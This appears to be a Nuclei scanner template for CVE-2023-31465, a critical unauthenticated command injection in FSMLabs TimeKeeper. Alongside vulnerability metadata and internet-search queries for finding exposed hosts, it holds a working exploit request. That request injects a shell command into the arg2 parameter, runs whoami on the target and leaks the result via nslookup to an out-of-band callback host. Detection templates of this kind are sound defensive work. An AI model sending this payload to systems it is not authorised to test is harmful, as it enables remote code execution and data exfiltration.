id: CVE-2023-31465

info:
  name: TimeKeeper by FSMLabs - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.
  impact: |
    Unauthenticated attackers can inject Bash commands through the arg[2] parameter in getsamplebacklog endpoint to execute arbitrary commands on the server, potentially compromising the entire TimeKeeper time synchronization infrastructure.
  remediation: |
    Update FSMLabs TimeKeeper to a version newer than 8.0.28 that properly sanitizes input parameters in getsamplebacklog and prevents command injection attacks.
  reference:
    - https://github.com/CapgeminiCisRedTeam/Disclosure/blob/main/CVE%20PoC/CVE-ID%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31465
    - https://fsmlabs.com/fsmlabs-cybersecurity/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-31465
    epss-score: 0.90545
    epss-percentile: 0.99626
    cpe: cpe:2.3:a:fsmlabs:timekeeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fsmlabs
    product: timekeeper
    shodan-query: http.favicon.hash:2134367771
    fofa-query: icon_hash=2134367771
  tags: cve,cve2023,timekeeper,rce,oast,fsmlabs,vkev,vuln

http:
  - raw:
      - |
        GET /getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cnslookup%20%24(xxd%20-pu%20%3c%3c%3c%20%24(whoami)).{{interactsh-url}}%7c%7cx%22%2c%22latest%22%3a1676976916.328%2c%22origins%22%3a%5b%7b%22ip%22%3a%22{{Hostname}}%22%2c%22source%22%3a0%7d%5d%2c%22seriesID%22%3a3%7d&arg3=undefined&arg4=undefined&arg5=undefined&arg6=undefined&arg7=undefined HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: word
        part: body
        words:
          - '{"seriesID":'
# digest: 4a0a0047304502204a83e076d331c2fb0306781cc9a6da92075d03afa3f6aaeffa8f34247e7542cf022100fe802d81ce712db0f78ed97286efc65ae3b0cb7ba4d631656cf4563e5a2abd39:922c64590222798bb761d5b6d8e72950